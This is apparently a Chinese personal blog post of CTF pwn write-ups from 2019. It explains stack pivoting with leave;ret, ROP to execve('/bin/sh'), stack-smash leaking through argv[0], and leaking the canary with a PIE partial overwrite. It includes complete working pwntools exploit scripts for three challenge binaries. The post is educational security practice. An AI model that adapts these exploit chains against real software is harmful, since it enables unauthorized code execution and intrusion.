风之栖息地

花式栈溢出学习

字数统计: 2.4k阅读时长: 9 min
2019/09/14 Share

继续进行着栈溢出的练习,这次是参考了ctf-wiki上面的演示题目,在复现过程中的一些记录。

over

安恒月赛的题目,首先看程序保护,开启了NX,不能写shellcode,同时分析了程序结果发现buffer有0x50,但是输入有0x60也就是说只能覆盖rbp和ret地址,所以必须要改变栈的位置。

首先是一个trick,里面读入的函数是read,所以读入的数据是不会自动加上\0的,其他的两个函数getsscanf都会对读入的字符串加上\0截断。利用这个差异性,我们只要填入0x50个非0数据,这样puts就会打印出rbp的值。泄露出栈基址之后,我们就能利用相对偏移来确定题目随意的栈地址。

这样我们输入80个a,在puts的地方下断点,看看gdb里面的信息。

在输出我们数据的时候rbp的值为0x7fffffffdc20,然后观察我们的栈顶处的地址为0x7fffffffdbb0。我们这里利用的思路是伪造栈帧,在这里我们泄露出来rbp的值通过位移差我们就能得到栈的起始地址。之后伪造的格式如下:

| 8字节fake rbp | 需要调用的地址 |…| stack addr | leave ret addr |

这种技术是通过两次调用leave来劫持rsp的值,使得它最终指向我们要调用的地址处执行ret,通过控制rsp的值来控制rip

因为函数在正常调用结束的时候会leave; ret;,这样我们设置的stack addr覆盖了原始的rbp,那么leave中会mov rsp, rbp; pop rbprsp会成为指向stack addr的指针,然后pop rbp将我们伪造的值给rbp。但是在之后再次执行一次leave; ret,我们现在的rsp就会指向我们构造的地址处,将fake rbp填入rbp中,这之后的ret就会将填充的调用地址作为返回地址来处理,这样就成功劫持了控制流.

所以上面那张图我们得到泄露出来的rbp的值减去0x70就是我们输入缓冲区的栈顶地址。我们拿到地址之后伪造栈帧泄露libc的地址,然后再次伪造栈帧getshell。其中第二次构造的时候,栈的位置会有一定偏移,需要调试获取

从上图可以知道在第二次伪造栈帧输入的时候栈顶地址为0x7fffffffdb80,而我们一开始获取的栈地址为0x7fffffffdbb0,相差0x30,在构造的时候需要修正一下。最后给出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template over.over
# Author: hurricane618
# E-mail: hurricane618@hotmail.com
# Website: hurricane618.me
from pwn import *

# Set up pwntools for the correct architecture
exe = ELF('./' + 'over.over')
context.binary = './' + 'over.over'
libc = exe.libc


#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
if args['DEBUG']:
context.log_level = 'debug'

if args['REMOTE']:
io = remote()
else:
io = process(exe.path)

leave_ret_addr = 0x4006be
rdi_ret_addr = 0x400793
rsi_r15_ret_addr = 0x400791
rdx_ret_offset = 0x1b92
vul_addr = 0x400676

payload1 = 'a' * 0x50

io.recvuntil('>')
#gdb.attach(io, 'b *0x4006b9\n')
pause()
io.send(payload1) # note the '\n'
pause()
stack_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\0')) - 0x70 # debug and get it
success('stack: {:#x}'.format(stack_addr))

payload2 = 'b' * 8
payload2 += p64(rdi_ret_addr)
payload2 += p64(exe.got['puts'])
payload2 += p64(exe.plt['puts'])
payload2 += p64(vul_addr)
payload2 += 'c' * (80 - len(payload2))
payload2 += p64(stack_addr)
payload2 += p64(leave_ret_addr)

io.recvuntil('>')
io.send(payload2)

libc.address = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\0')) - libc.symbols['puts']
success('libc address: {:#x}'.format(libc.address))
rdx_ret_addr = libc.address + rdx_ret_offset
#payload3 = 'c' * 80 debug and get the stack offset 0x30
payload3 = 'c' * 8
payload3 += p64(rdi_ret_addr)
payload3 += p64( next(libc.search("/bin/sh")))
payload3 += p64(rsi_r15_ret_addr)
payload3 += p64(0)
payload3 += p64(0)
payload3 += p64(rdx_ret_addr)
payload3 += p64(0)
payload3 += p64(libc.symbols['execve'])
payload3 += 'd' * (80 - len(payload3))
payload3 += p64(stack_addr - 0x30)
payload3 += p64(leave_ret_addr)

io.recvuntil('>')
pause()
io.send(payload3)
pause()
io.interactive()

里面比较坑的地方有两个,一个是我们的输入不能带\n回车,因为这个回车会覆盖掉rbp最后的值。。这样我们就无法得到正确的值。另外一个是pwntools里面的libc设置,如果设置了libc的address,那么我们在使用libc进行搜索的时候就不用额外再加libc的基地址,因为里面已经自动帮你加上了。但是没有使用libc符号或者搜索的地址还是需要手动增加libc的基地址值。

readme

一道神奇的题目,里面有一个循环会覆盖flag的内容。同时文件开启了canary和堆栈执行保护。这里有一个有趣的利用思路,那就是stack smash,恰恰利用canary的check机制,它在check失败之后会打印出argv[0]的字符串,如果能覆盖成其他地址,这里就能够利用来泄露内存数据。而这道题目的flag已经在一开始就存进了内存中,同时由于.bss节的特性,ELF文件在执行的时候,它会被映射两次,所以我们只需要寻找另外一处没有被覆盖掉的内容地址填入argv[0]的地址处,就能够get flag。

刚好这里有一个溢出漏洞可以利用,那么先来看看argv[0]的地址。

在这里能够很明显的看到程序名,而这里一定就是argv[0]的地址,0x7fffffffdc78(大雾?)。这里的地址指向另外一个地址,而那个地址才是存储着字符串的指针的值,所以一开始我还出错了,最后需要覆盖的地址为0x7fffffffdd48。接下来只需要确定出我们的输入的地址,就能控制溢出的字节数。

看到我们的rsirsp的值都是0x7fffffffdb30,说明接下来gets的输入会写入这里。接下来就是需要读出来的flag地址了。

我在覆盖的flag中填入的aa,通过搜索这个字符串找到相应的地址,这是第一个映射地址,通过IDA我们能知道flag的样子为32C3...,所有搜索这个就能得到第二个flag的地址。

这里看到另外一个完整的flag地址为0x400d20,通过一个栈溢出来覆盖argv[0]的地址为flag的地址,这样溢出之后的check失败就能把flag打印出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template readme.bin
# Author: hurricane618
# E-mail: hurricane618@hotmail.com
# Website: hurricane618.me
from pwn import *

# Set up pwntools for the correct architecture
exe = ELF('./' + 'readme.bin')
context.binary = './' + 'readme.bin'
libc = exe.libc


#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# FORTIFY: Enabled
if args['DEBUG']:
context.log_level = 'debug'

if args['REMOTE']:
io = remote()
else:
io = process(exe.path)

argv_addr = 0x7fffffffdd48
stack_addr = 0x7fffffffdb30
flag_addr = 0x400d20
payload = 'a' * (argv_addr - stack_addr)
payload += p64(flag_addr)

io.recvuntil('name? ')
io.sendline(payload)
io.recvuntil('flag: ')
io.sendline('bb')

io.interactive()

最后从stack smash的check中get flag信息,如果是在服务器上就能拿到真正的flag。这道题也解决了我的一个疑惑,虽然地址不一样,但是偏移是一样的,所以我们找到地址之后计算需要覆盖的长度也是一样的,同时.bss节的映射又是不变的,这样就能稳定的覆盖成另外一个flag的地址。

babypie

一道安恒的月赛题目,题目中有两次输入,第一次能输入0x30,能够刚好溢出8个字节,然后第二次能输入0x60,都写在同一段缓冲区中。程序开启了canary,PIE,NX等等保护,所以第一步需要先泄露出canary的值。

这里利用了之前的trick,由于读入数据是使用的read并不会有\0在末尾,由于canary的最低位为0,这样我们多覆盖一个字节的数据,让printf直接把canary的值打印出来。

获取到canary之后,再次观察程序,发现有留有getshell的函数,那题目就简单很多了。这里如果能修改返回地址为函数地址就能getshell。但是程序开了PIE怎么办???

不用怕,PIE的随机化不会影响低12bit的地址,这里只需要暴力测试地址就很有可能得到正确的地址。只是在程序中有4bit在变化,getshell的地址为a3e,由于还有1bit是不能确定的,所以我们直接覆盖成0a3e来碰运气即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template babypie
# Author: hurricane618
# E-mail: hurricane618@hotmail.com
# Website: hurricane618.me
from pwn import *

# Set up pwntools for the correct architecture
exe = ELF('./' + 'babypie')
context.binary = './' + 'babypie'
libc = exe.libc


#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
if args['DEBUG']:
context.log_level = 'debug'

#if args['REMOTE']:
# io = remote()
#else:
# io = process(exe.path)
#
while True:
try:
io = process(exe.path)
io.recvuntil('\n')
payload1 = 'a' * (0x28 + 1)
io.send(payload1)

io.recvuntil('a' * 0x29)
#canary = u64(io.recv(7).rjust(8, '\0'))
canary = u64('\0' + io.recv(7))
success('canary: ' + hex(canary))

io.recvuntil('\n')
payload2 = 'a' * 0x28
payload2 += p64(canary)
payload2 += 'b' * 8
payload2 += '\x3e\x0a'
io.send(payload2)

io.interactive()
except Exception as e:
io.close()
print e

这里要注意ljust和rjust是左对齐和右对齐,一开始没有弄清楚。。。左对齐是在末尾填充,右对齐是在头部填充。

chess(未解出)

先检查安全选项,开启了NX和PIE,不能写shellcode了。发现是一个下棋的游戏,然后里面通过输入字母数字来移动,每次移动都会打印一次。

然而搜到的韩文解法肯本看不懂。。。这里就记录一下了,期望以后可以做出来

Reference

https://23r3f.github.io/2018/12/03/2018-12-3-pwndbg%E7%94%A8%E6%B3%95/

http://blog.naver.com/PostView.nhn?blogId=mathboy7&logNo=220335795719&categoryNo=0&parentCategoryNo=0&viewDate=&currentPage=1&postListTopCurrentPage=1

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop-zh/

CATALOG
  1. 1. over
  2. 2. readme
  3. 3. babypie
  4. 4. chess(未解出)
  5. 5. Reference